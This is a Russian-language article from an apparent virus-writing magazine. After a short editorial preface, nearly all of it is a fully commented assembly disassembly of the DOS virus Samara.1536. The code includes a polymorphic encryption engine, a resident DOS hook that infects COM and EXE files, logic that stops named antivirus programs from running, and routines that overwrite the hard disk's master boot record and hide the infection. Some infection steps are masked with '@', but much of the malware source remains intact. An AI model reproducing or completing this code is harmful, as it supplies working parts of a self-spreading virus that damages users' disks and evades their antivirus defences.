Анализ вируса Samara by CrkV ; От редактора-составителя: ; У этого вируса забавная судьба. Всю 1-ю половину 1998 г. А. Гостев ; искал вирус для очередного этапа конкурса антивирусных программ, ; проводившегося в 1997-98 гг. в конференции relcom.comp.virus. ; К потенциальному объекту издевательств предъявлялись требования: ; новый, несложный, файлово-загрузочный, полиморфный. Был кинут клич ; по Релкому и Интернету... но тщетно. Вири присылались либо битые, ; либо давно и хорошо известные. Дошло до того, что я напечатал и ; повесил на стенке в Самарском Аэрокосмическом Универе объявление ; с просьбой поискать. И буквально через пару недель Админу именно ; из Самары прислали subj (он, хитрюга, вычислил посылальщика по ; заголовку мыла J. ; Но конкретный автор до сих пор неизвестен. В дикой природе (в Самаре) ; вируса не было и нет. Я приблизительно знаю профессиональный уровень ; тех, кто мог бы написать subj и заявляю: это не они... J Может, ; вирус вытянули откуда-нибудь из Интернета, и город Самара прославлен ; напрасно? J Авторы (-ы), откликнитесь ! ; ; P.S. Но вот CrkV прислал настолько подробно откомментированный текст, ; что поневоле возникают разные мысли... J)) ; ; P.P.S. Принцип журнала ЗФ по-прежнему соблюдается: наиболее опасные ; фрагменты текста по согласию с CrkV заполнены символом '@'. ; DrMad ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Позволю представить на суд публики конкурсный вирь Samara.1536. ;К сожалению материалы для конкурса я не получил, хотя свое желание принять ;участие, я изъявлял. ; ;Вирус Samara.1536 (дизассемблирован 20.12.1998 (c) by CrkV) ;Не подумайте что его написал я, посмотрев на названия меток, данных ;и подпрогпрограмм, просто я люблю порядок J))) Я не удивлюсь, если ;мой текст вируса будет полнее и нагляднее авторского. ; CrkV ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .186 .model tiny .code Org 100h Samara: ; jmp $ + 1Bh db 0E9h,2Dh,00h,90h,01h,0CDh,21h,0C3h db 'This file infected by virus SAMARA.1536$' ;Начало вирусного кода. Первая полиморфная часть отвечает за расшифроку ;остального вирусного кода. EntryPoint: db 3Eh,3Eh Xor Byte Ptr Ds:[730h],98h Inc Word Ptr Ds:[134h] db 26h,26h Cmp Word Ptr Ds:[134h],730h db 3Eh,26h,3Eh,26h,26h,3Eh Adr_Jxx EQU $ - Offset EntryPoint Jnz EntryPoint Size1p EQU $ - Offset EntryPoint ;основной код вируса Mov Bp,Offset EntryPoint - 100h SizePrg = Word Ptr $ - 2 - Offset EntryPoint PushA Push Ds Es Mov Ah,99h Int 21h Cmp Ah,66h ;резидент установлен ? Jnz @Not_Installed Jmp @All_Installed @Not_Installed: Push Es Mov Ax,3521h Int 21h ;дать адрес Int 21h Mov Cs:[Bp+Ofs21h],Bx Mov Cs:[Bp+Seg21h],Es Pop Es @Get_Memory: ;--------- Memory Control Block structure -------------- MCB struc MCB_sig db ? ; 'Z' or 'M' MCB_owner dw ? ; attribute of owner MCB_size dw ? ; size of MCB block MCB_name db 8 dup(?) ; file name of owner MCB ends ;------------------------------------------------------- Mov Ah,48h Mov Bx,102h ;?? (можно и меньше) Int 21h ;запросить блок памяти Jnc @Alloc_Mem Push Es ;отсутствует блок нужного размера Mov Ax,Es ;Ax - PSP Dec Ax Mov Es,Ax ;MCB блок (предшествует PSP) Mov Bx,Es:[03h] ;размер блока Sub Bx,104h ;?? (можно было и 103h) Pop Es Mov Ah,4Ah Int 21h ;уменьшаем размер текущего блока Jmp @Get_Memory @Alloc_Mem: Dec Ax Mov Es,Ax ;MCB полученного блока Mov Word Ptr Es:[01h],08h ;объявляем себя системным блоком Inc Ax Mov Es,Ax Push Ax ;признак зараженной MBR Mov Byte Ptr Cs:[NewMBR+Bp+103h],00h Mov Byte Ptr Cs:[NewMBR+Bp+104h],80h ;эффективнее было бы загружать сразу слово ;?? Mov Word Ptr Cs:[NewMBR+Bp+103h],8000h Mov Cx,VirLenght Push Cs Pop Ds Sub Di,Di ;Di=0 Lea Si,[Bp+100h] ;Si- начало вирусного кода Cld Rep MovSB ;копируем вирус в память Pop Ds Mov Ax,2521h Mov Dx,Offset New21h ;устанавливаем свой обработчик Int 21h ;вектора 21h (функции DOS) ;далее следует часть, инфицирующая MBR Mov Ah,13h ;получить Int 13h (Ds:Dx) Int 2Fh ;(предыдущий вызов при загр. сист.) Mov Ax,2566h ;устанавливаем вектор 66h Int 21h ;на обработчик Int 13h Mov Ah,13h Int 2Fh ;восстановить DS:DX и ES:BX Mov Ax,0201h ;читаем 1-й сектор Mov Cx,01h Mov Bx,VirLenght ;Es:Bx - адрес буфера Call Int13h ;(следует за вирусным кодом) Mov Cx,40h ;сохраняем часть оригинальной MBR Mov Si,VirLenght + 1BEh ;(таблицу разделов диска) в теле Mov Di,VirLenght + 1BEh - 200h;вируса Repe MovSB ;Ds:Si - > Es:Di Mov Ax,0303h ;записываем тело вируса (Es:Bx) Mov Cx,02h ;в 3 сектора, следующие за MBR (2) Sub Bx,Bx Call Int13h Mov Ax,0301h ;записываем MBR из тела вируса Mov Cx,01h Mov Bx,400h Call Int13h @All_Installed: Cmp Byte Ptr Cs:[Bp+SaveBuf],'M' ;EXE - файл ? 'MZ' Je @Exit_Exe Cmp Byte Ptr Cs:[Bp+SaveBuf],'Z' ;'ZM' Je @Exit_Exe Mov Ax,Cs:[Bp+SaveBuf] ;восстанавливаем первые 4 байта Mov Cs:[100h],Ax ;COM - программы Mov Ax,Cs:[Bp+SaveBuf+2] Mov Cs:[102h],Ax Pop Es Ds PopA Push 100h ;уходим на начало файла Ret @Exit_Exe: Pop Es Ds Mov Ax,Es ;PSP Add Ax,10h Add Cs:[SegExe+Bp+100h],Ax ;корректируем адрес перехода PopA Jmp $ + 2 ;сбрасываем очередь команд db 0EAh ;Jmp Far Seg:Ofs OfsExe = Word Ptr $ - Offset EntryPoint dw 0000h SegExe = Word Ptr $ - Offset EntryPoint dw 2071h ;-------------- обработчик Int 24h --------------------- New24h EQU $ - Offset EntryPoint Mov Al,03h ;(F)ail IRet ;-------------- обработчик Int 21h --------------------- New21h EQU $ - Offset EntryPoint PushF PushA Cmp Ah,99h ;проверка резидента ? Jnz @Not_Check Call @Check @Not_Check: Cmp Ax,4B00h ;а может кто-то хочет программу Jnz @Not_Exec ;запустить ? Call Exec @Not_Exec: PopA PopF db 0EAh ;Jmp Far Seg:Ofs Ofs21h = Word Ptr $ - Offset EntryPoint + 100h dw 0FB2h Seg21h = Word Ptr $ - Offset EntryPoint + 100h dw 0C9h @Check: Pop Ax PopA PopF Mov Ah,66h ;- Да я уже давно в памяти !!! Iret @Antivir_Exec: Pop Dx Pop Ds Jmp @Check ;не запускаем антивирусы ;------------------------------------------------------- Int13h Proc Mov Dx,80h ;первый жесткий диск Int 66h ;Int 13h Ret Int13h EndP ;------------------------------------------------------- WriteF Proc ;записывает данные в файл Ds:Dx - буфер, Cx - размер Mov Ah,40h Int 21h Ret WriteF EndP ;------------------------------------------------------- WriteVr Proc ;шифрует вирус и дописывает его к концу файла Call Shifr Mov Dx,VirLenght Mov Cx,VirLenght Call WriteF Ret WriteVr EndP ;------------------------------------------------------- SetFP Proc ;устанавливает указатель записи в файл Mov Ah,42h Sub Cx,Cx Sub Dx,Dx Int 21h Ret SetFP Endp ;------------------------------------------------------- SaveSz Proc ;Сохраняет размер файла в пременной Save2w (Size + PSP) ;Si = SaveBuf + 100 Mov [Si+Offset Save2w - SaveBuf + 100h],Ax Add [Si+Offset Save2w - SaveBuf + 100h],100h Ret SaveSz EndP ;------------------------------------------------------- Exec Proc ;блокирует выполнение антивирусов, если может то заражает Push Ds Push Dx Mov Bx,Dx @Next_Byte: Cmp Byte Ptr [Bx],00h ;End Name Jz @End_Name Inc Bx Jmp @Next_Byte @End_Name: ;здесь проверяется 5 и 6 байт (с конца) имени запускаемой программы. ;Эффективнее было бы использование команды ScaSW. Mov Ax,[Bx-06h] Cmp Ax,444Eh ;'ND' - COMMA~ND~.COM Je @Exec_Command Cmp Ax,4554h ;'TE' - AVPLI~TE~.EXE Je @Antivir_Exec Cmp Ax,5453h ;'ST' - AIDSTE~ST~.EXE Je @Antivir_Exec Cmp Ax,5056h ;'VP' - A~VP~.EXE Je @Antivir_Exec Cmp Ax,4245h ;'EB' - DRW~EB~.EXE Je @Antivir_Exec Cmp Ax,4E41h ;'AN' - MSC~AN~.EXE Je @Antivir_Exec Push Es Mov Ax,3524h Int 21h ;дать адрес обработчика кр.ош. Int 24h Mov Si,Bx Mov Di,Es Pop Es Push Ds Dx Mov Ax,2524h Push Cs Pop Ds Mov Dx,Offset New24h Int 21h ;устанавливаем вектор 24h Pop Dx Ds Mov Ax,4301h Sub Cx,Cx Int 21h ;очищаем атрибуты файла PushF Push Ds Dx Mov Ax,2524h Mov Ds,Di Mov Dx,Si Int 21h ;восстанавливаем Int 24h Pop Dx Ds PopF Jnc @Ok @Exec_Command: Jmp @Exit_Infect2 @Ok: Mov Ax,3D02h Int 21h ;открываем файл в режиме (чт./зп.) Mov Bx,Ax ;Ax - Handle файла Push Cs Pop Ds Mov Si,Offset SaveBuf - 100h Mov Ah,3Fh Mov Cx,18h Mov Dx,Si Int 21h ;читаем первые 24 байта файла Cmp Byte Ptr [Si],'M' ;проверяем формат файла Je @Exe_Format Cmp Byte Ptr [Si],'Z' Je @Exe_Format Cmp Byte Ptr [Si+3],90h ;возможно инфицирован ? Jne @Infected_Com ;(четвертый байт 90h) Jmp @Exit_Infect @Infected_Com: @@@ @@,@@@ ;устанавливаем указатель файла в конец @@@@ @@@@@ ;получаем в Dx:Ax - размер файла @@@ @@,@@@@@@ - @@@@@@@@@ @@@ @@@@@@@@ jmp @Exit_Infect ;файл большой, трогать не будем @Size_Ok: @@@ @@:@@@@@@@,@@ @@@@ @@@@@@ @@@ @@,@@@ ;вычисляем смещение вируса в файле @@@ @@:@@@@@@@,@@ ;(адрес для перехода) @@@@ @@@@@@@ @@@ @@,@@ @@@@ @@@@@ ;устанавливаем указатель на начало @@@ @@,@@@@@@ @@@@@@@ @@@ @@,@ @@@@ @@@@@@ ;модифицируем начало файла Jmp @Exit_Infect @Exe_Format: ;------------------------------------------------------- Exe_Header STRUC EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files EH_Modulo dw ? ; remainder of file size/512 EH_Size dw ? ; file size/512 EH_Reloc dw ? ; Number of relocation items EH_Size_Header dw ? ; Size of header in paragraphs EH_Min_Mem dw ? ; Minimum paragraphs needed by file EH_Max_Mem dw ? ; Maximum paragraphs needed by file EH_SS dw ? ; Stack segment displacement EH_SP dw ? ; Stack Pointer EH_Checksum dw ? ; Checksum, not used EH_IP dw ? ; Instruction Pointer of Exe file EH_CS dw ? ; Code segment displacement of .exe eh_1st_reloc dw ? ; first relocation item eh_ovl dw ? ; overlay number Exe_Header ENDS ;------------------------------------------------------- cmp Byte Ptr [Si+12h],66h ;проверяем признак заражения EXE Jnz @Ok_Exe ;(в поле Checksum - 66h) Jmp @Exit_Infect @Ok_Exe: @@@ @@,@@@@@@@@ ;запоминаем смещение для Cs @@@ @@@@@@@@@,@@ @@@ @@,@@@@@@@@ ;запоминаем значение Ip @@@ @@@@@@@@@,@@ @@@ @@,@@@ ;устанавливаем указатель на конец файла @@@@ @@@@@ ;получаем в Dx:Ax размер файла @@ @@,@@ ;больше 65535 байт ? @@ @@@@@@@@@ ;не знаю почему, но автор не захотел Jmp @Exit_Infect ;заражать большие EXE-файлы @Size_Ok2: @@@ @@,@@@@@@@@@@@@@@@@@@ @@ @@@@@@@@@ Jmp @Exit_Infect ;файл большой, трогать не будем @Size_Ok3: @@@@ @@@@@@ @@@ @@,@@@@@@@@ @@@ @@, ;размер заголовка @@@ @@@@@@@@,@@ ;вычисляем размер кода программы @@@@ @@ @@ @@@ @@,@@@ @@@ @@ ;Ax - размер файла в параграфах @@@ @@,@@@@@@@@ @@@ @@@@@@@@,@@ ;Адрес перехода на вирус (Cs:Ip) @@@ @@@@@@@@,@@ @@@ @@,@@@@ @@@ @@:@@@@@@@,@@ @@@ @@ @@ @@@ @@,@@@@ @@@ @@ ;Ax - размер файла в 512 байтных кусках @@ @@,@@ @@ @@@@@@_@@@ @@@ @@ @Equal_512: @@@ @@,@@@@@@@@ ;проверяем соответствие размера файла @@ @@@@@@@@@@@@@ ;с данными из заголовка @@@ @@@@@@@@@@@@ ;(т.е. возможное присутствие оверлеев) @Size_Not_Ovl: @@@ @@,@@@@@@@@ @@ @@@@@@@@@@@@@@ @@@ @@@@@@@@@@@@ @Size_Not_Ovl2: @@@@ @@@@@@@ @@@ @@,@@@ ;устанавливаем указатель на конец файла @@@@ @@@@@ ;получаем в Dx:Ax - размер файла @@@ @@,@@@@ ;вычисляем размер в 512 параграфах @@@ @@ @@ @@,@@ @@ @@@@@@@@@@@@ @@@ @@ @Equal_512_2: @@@ @@@@@@@@,@@ ;размер проги в заголовке @@@ @@@@@@@@,@@ @@@ @@,@@ ;устанавливаем указатель на начало файла @@@@ @@@@@ @@@ @@@@@@@@@@@@@@@@@,@@@ ;метка вируса @@@ @@,@@@ @@@ @@,@@ @@@@ @@@@@@ ;записываем новый заголовок @Exit_Infect: Mov Ah,3Eh Int 21h ;закрываем файл @Exit_Infect2: Pop Dx Ds Ret Exec EndP ;------------------------------------------------------- First4b EQU $ - Offset EntryPoint db 0E9h ;команда перехода на начало вируса SaveOfs = Word Ptr $ - Offset EntryPoint dw 2Dh db 90h ;метка вируса ;------------------------------------------------------- Shifr Proc PushA Push Es Ds Cs Pop Ds Push Cs Pop Es Mov Ax,VirLenght Push Ax Ax Ax Add Ax,Ds:Save2w ;адрес основного кода вируса Mov Ds:EndSA,Ax Mov Si,00h Pop Di Mov Cx,VirLenght Cld ;копируем в память вторую копию Repe MovSB ;вируса, сразу за первой Mov Ah,2Ch Int 21h ;получить текущее время (Random) Mov Ds:RandPar,Dx ;Dh - секунды, Dl - 1/100с Pop Di Mov Cx,Size1P ;заполняем первую часть префиксами @Loop_Random: Rol Dx,1 ;проверяем 1 в старшем разряде Jc @Es_Random Mov Al,3Eh ;Ds: Jmp @Next_Random @Es_Random: Mov Al,26h ;Es: @Next_Random: StoSB Loop @Loop_Random Pop Di Call Random3 Push Di Mov Bp,3 ;получить случайное число (0,1,2) Call Random Cmp Ax,1 ;выбираем команду, которую будем Jc @Ran_Xor ;использовать для шифрования Jz @Ran_Add Mov Si,Offset C_Sub Mov Byte Ptr Ds:C_Gener,00h ;Sub Jmp @Ran_Cont @Ran_Add: Mov Si,Offset C_Add Mov Byte Ptr Ds:C_Gener,28h ;Add Jmp @Ran_Cont @Ran_Xor: Mov Si,Offset C_Xor Mov Byte Ptr Ds:C_Gener,30h ;Xor @Ran_Cont: Mov Cx,5 ;Si - адрес, выбранной команды Rep MovSB Mov Ax,Ds:RandPar ;устанавливаем значение первого Mov [Di-01h],Al ;байта для шифрования Mov Bp,Ds:Save2w ;адрес в памяти с которого Add [Di-03h],Bp ;начнется шифрование основного кода Call ShifrVr Call Random3 ;аналогично предыдущей части, Mov Bp,3 ;выбираем команду для изменения Call Random ;адреса шифруемого байта из: Cmp Ax,1 Jb @Ran_Inc Je @Ran_Add1 Mov Si,Offset C_Sub1 ;Sub (- 1) Mov Cx,6 Mov Bx,0FFFCh Jmp @Ran_Cont2 @Ran_Add1: Mov Si,Offset C_Add1 ;Add 1 Mov Cx,6 Mov Bx,0FFFCh Jmp @Ran_Cont2 @Ran_Inc: Mov Si,Offset C_Inc ;Inc Mov Cx,4 Mov Bx,0FFFEh @Ran_Cont2: Repe MovSB ;Cx - длина команды, Si - адрес Pop Bp Add Bp,0FA02h ;вычисляем адрес, на котором Add Bp,Ds:Save2W ;закончится шифрование Mov [Bx+Di],Bp Push Bp Call Random3 Mov Si,Offset C_Cmp Mov Cx,6 Rep MovSB Pop Bp ;записываем этот адрес Mov [Di-04h],Bp ;в команду Cmp Mov Di,VirLenght + Offset Adr_Jxx Mov Bp,2 Call Random ;выбираем команду для продолжения Or Ax,Ax ;цикла расшифровки: Jz @Ran_Jnz Mov Si,Offset C_Jc ;Jc Jmp @Ran_Cont3 @Ran_Jnz: Mov Si,Offset C_Jnz ;Jnz @Ran_Cont3: Mov Cx,2 Repe MovSB Cmp Byte Ptr Ds:[VirLenght],80h ;?? Je @Met Add [Di-1],Al @Met: Pop Ds Es PopA Ret Shifr EndP ;------------------------------------------------------- ShifrVr Proc ;подпрограмма шифрации вирусного кода Mov Si,VirLenght + Size1p Mov Cx,VirLenght C_Gener = Byte Ptr $ - Offset EntryPoint @LoopSV:Sub [Si],Al ;Xor,Add Inc Si Loop @LoopSV Ret ShifrVr EndP ;------------------------------------------------------- Random3 Proc ;генерирует случайное число [0;2], результат в Ax Mov Bp,3 Call Random Add Di,Ax Ret Random3 Endp ;------------------------------------------------------- Random Proc ;генерирует случайное число [0;Bp-1], результат в Ax Mov Bx,Offset RandPar Mov Ax,[Bx] Mov Cx,25h Mul Cx Mov [Bx],Ax Sub Dx,Dx Div Bp Xchg Ax,Dx Ret Random Endp ;------------------------------------------------------- C_Xor EQU $ - Offset EntryPoint Xor Byte Ptr Ds:[1Bh],00h C_Add EQU $ - Offset EntryPoint Add Byte Ptr Ds:[1Bh],00h C_Sub EQU $ - Offset EntryPoint Sub Byte Ptr Ds:[1Bh],00h C_Inc EQU $ - Offset EntryPoint Inc Word Ptr Ds:[0000h] C_Add1 EQU $ - Offset EntryPoint Add Word Ptr Ds:[0000h],1234h Org $ - 2 ;генерируем длинную команду dw 1 ;для совместимости кода J) C_Sub1 EQU $ - Offset EntryPoint Sub Word Ptr Ds:[0000h],1234h Org $ - 2 ;генерируем длинную команду dw - 1 ;для совместимости кода J) C_Cmp EQU $ - Offset EntryPoint Cmp Word Ptr Ds:[0000h],730h EndSA = Word Ptr $ - 2 - Offset EntryPoint C_Jc EQU $ - Offset EntryPoint db 72h,0E5h C_Jnz EQU $ - Offset EntryPoint db 75h,0E5h SaveBuf EQU $ - Offset EntryPoint + 100h db 18h Dup (?) RandPar = Word Ptr $ - Offset EntryPoint;3FBh dw ? Save2w = Word Ptr $ - Offset EntryPoint;3FDh dw ? db 90h ;Align ;здесь находится сектор MBR (512 байт) ;------------------------------------------------------- Boot_Sector STRUC bs_Jump db 3 dup(?) bs_Oem_Name db 8 dup(?) bs_Bytes_Per_Sector dw ? bs_Sectors_Per_Cluster db ? bs_Reserved_Sectors dw ? bs_FATs db ? ; Number of FATs bs_Root_Dir_Entries dw ? ; Max number of root dir entries bs_Sectors dw ? ; number of sectors; small bs_Media db ? ; Media descriptor byte bs_Sectors_Per_FAT dw ? bs_Sectors_Per_Track dw ? bs_Heads dw ? ; number of heads bs_Hidden_Sectors dd ? bs_Huge_Sectors dd ? ; number of sectors; large bs_Drive_Number db ? bs_Reserved db ? bs_Boot_Signature db ? bs_Volume_ID dd ? bs_Volume_Label db 11 dup(?) bs_File_System_Type db 8 dup(?) Boot_Sector ENDS ;------------------------------------------------------- NewMBR EQU $ - Offset EntryPoint VirMBR EQU $ Jmp Short @Start_Boot Nop db 00h,80h,'WIN4.0' ;OEM имя dw 200h ;байтов в секторе db 001h ;кол-во секторов в кластере dw 001h ;зарезервированных секторов db 002h ;кол-во FAT dw 0E0h ;макс. кол-во элементов в корневом кат. dw 960h db 0F9h dw 007h dw 00Fh dd 002h dw 000h @Start_Boot: Cli ;запрещаем прерывания Sub Ax,Ax ;Ax=0 Mov Ds,Ax Mov Ss,Ax Mov Sp,7C00h ;уст. ук. стека перед загрузчиком Mov Si,Sp Mov Ax,Ds:[13h*4] ;получаем Int 13h Mov Ds:[7C00h+Int_13h_Ofs],Ax Mov Ax,Ds:[13h*4][2] Mov Ds:[7C00h+Int_13h_Seg],Ax Mov Ax,Ds:[413h] ;уменьшаем размер памяти Sub Ax,4 ;на 4 кб. Mov Ds:[413h],Ax ;?? (Sub Word Ptr Ds:[413h],4) Mov Cl,06h ;вычисляем сегментый адрес кода Shl Ax,Cl Mov Es,Ax Mov Cx,100h Sub Di,Di Cld PushA Repe MovSW ;копируем 512 байт в Es:0 PopA Mov Di,VirLenght ;копируем 2-ой раз Repe MovSW ;после тела Sti Push Ax Push 1234h Org $ - 2 ;генерируем длинную команду dw Offset @Adr_MBR_Mem - VirMBR ;для совместимости кода J) Retf ;переходим на SegVir:AdrMBR @Adr_MBR_Mem: ;дальше идут такие навороты J), поэтому, если я не понял, что ;тут имелось в виду, "звиняйте хлопцы". Cmp Byte Ptr Cs:[0004h],80h ;MBR содержит признак заражения ? Je @MBR_VIR Mov Ax,0202h ;считываем 2 сектора Es:200h Mov Bx,200h Sub Dx,Dx Call GetSect Call Int13h3 Push Ds Pop Es ;Es=0 Mov Ax,0201h ;считываем MBR Mov Bx,Sp ;по адресу 0:7C00h Call SetHD Call Int13h3 Cmp Byte Ptr Ds:[7C01h],33h ;?? Jnz @Exit_Vir @@@ @@@@@@@@@@@@@@@@@@@,@@@ ;в MBR записываем признак заражения @@@@ @@ @@@ @@ @@@ @@,@@@@@@@@@@@@@@ ;сохраняем таблицу разделов диска @@@ @@,@@@@@@@@ ;(Ds=0) @@@ @@,@@@ @@@ @@@@ @@@@@ @@@ @@,@@@@@ ;записываем себя в 3 сектора @@@ @@,@@ ;после MBR @@@@ @@@@@ @@@@ @@@@@@@ @@@ @@,@@@@@ ;записываем еще раз MBR @@@ @@,@@@ ;в 4 сектор @@@@ @@@@@@@ Jmp Short @All_Read Nop @MBR_VIR: Mov Ax,0203h ;считываем 3 сектора Mov Bx,0200h ;по адресу SegVir:200h Call SetHD Inc Cx Call Int13h3 @All_Read: Push Ds Pop Es Mov Ax,0201h ;считываем MBR Mov Bx,07C00h ;по адресу 0:7C00h Call SetHD Inc Dh Call Int13h3 Mov Ds:[13h*4],New13h ;устанавливаем Int 13h Mov Ds:[13h*4][2],Cs @Exit_Vir: db 0EAh ;Jmp Far Seg:Ofs dw 7C00h ;уходим по адресу 0:7C00h dw 0000h ;------------------------------------------------------- GetSect Proc ;проверяет тип носителя и возвращает в Cx номер сектора Mov Cl,Cs:[15h] ;дескриптор носителя Cmp Cl,0F9h Mov Cx,04h Je @Sect_N6 Ja @Sect_N4 Inc Cx ;в Cx вернем 8 Inc Cx @Sect_N6: Inc Cx Inc Cx @Sect_N4: Ret GetSect EndP ;------------------------------------------------------- SetHD Proc Mov Cx,01h ;первый сектор Mov Dx,80h ;HDD Ret SetHD EndP ;------------------------------------------------------- Int13h2 Proc ;вызов сохранненого Int 13h PushF Call DWord Ptr Cs:[Int_13h_Ofs] Ret Int13h2 EndP ;------------------------------------------------------- Int13h3 Proc ;выполняем Int 13h, при ошибке повторяем вызов 3 раза Push Bp Mov Bp,03h ;счетчик повторений при ошибке Push Ax @Povtor_Int13h: Pop Ax Push Ax Call Int13h2 ;Int 13h Jnc @Ok_Int13h ;проверяем флаг ошибки Sub Ax,Ax ;сброс дисковой подсистемы Call Int13h2 Dec Bp Jnz @Povtor_Int13h ;пытаемся повторить операцию Stc ;устанавливаем флаг ошибки @Ok_Int13h: Pop Ax Pop Bp Ret Int13h3 EndP ;-------------- обработчик Int 13h --------------------- New13h EQU $ - VirMBR Cmp Dx,01h Ja @Prov_Int21h Cmp Ah,02h ;функция считывания секторов ? Jne @Orig_Int13h Cmp Cx,01h ;1-й сектор (MBR)? Jne @Orig_Int13h Call Int13h2 ;пытаемся считать Jc @Exit_Int13h Cmp Byte Ptr Es:[5D8h+Bx],0EAh ;?? Je @Exit_Int13h PushA Mov Si,5 Mov Cx,1Bh @Loop: Mov Al,Es:[Bx+05h] ;копируем в память считанный сектор Mov Cs:[Si],Al ;(1Bh байт, начиная с 5, игнорируем Inc Si ;переход и 2 байта OEM-имени) Inc Bx Loop @Loop @@@ @@:@@@@@,@@ ;Cl-0 (loop) метка вируса @@@@ @@ @@ @@@ @@ @@@ @@,@@:@@@@@ ;сохраняем первые 2 байта OEM-имени @@@ @@:@@@@@,@@ @@@ @@,@@@@@ ;записываем MBR @@@ @@,@@ @@@ @@ @@@@ @@@@@@@ @@@ @@:@@@@@,@@ ;восстанавливаем @@@ @@,@@@@@ ;записываем следующие 2 сектора @@@ @@,@@@@ @@@@ @@@@@@@ @@@@ @@@@@@@ @@@ ;очищаем флаг Carry (CF=0) @@@ @@ PopA @Exit_Int13h: RetF 02h ;оставляем флаги @Orig_Int13h: db 0EAh ;Jmp Far Seg:Ofs Int_13h_Ofs EQU $ - VirMBR dw 0B494h Int_13h_Seg EQU $ - VirMBR dw 0F000h @Prov_Int21h: Call Int13h2 ;вызываем Int 13h PushF Jc @Exit_Int13h2 ;ошибка Cmp Byte Ptr Es:[Bx],40h Jne @Exit_Int13h2 Cmp Byte Ptr Cs:[03h],00h ;Int 21h перехватили ? Jne @Exit_Int13h2 Mov Byte Ptr Cs:[03h],01h ;устанавливаем признак Int 21h Push Ds PushA Sub Ax,Ax Mov Ds,Ax ;Ds=0 Mov Bx,31Eh ;?? копируем адрес Int 21h Mov Si,21h*4 Mov Ax,[Si] Mov Cs:[Bx],Ax Mov Ax,[Si+02h] Mov Cs:[Bx+02h],Ax Mov Word Ptr [Si],New21h ;устанавливаем Int 21h Mov [Si+02h],Cs Add Word Ptr [Si+02h],20h ;корректируем сегмент на 512 байт PopA Pop Ds @Exit_Int13h2: PopF Jmp @Exit_Int13h ;сохраняем часть оригинальной MBR (таблицу разделов диска) OrigMBR EQU $ - Offset EntryPoint OrigMBR2 EQU $ - VirMBR db 40h Dup (?),55h,0AAh VirLenght EQU $ - Offset EntryPoint End Samara |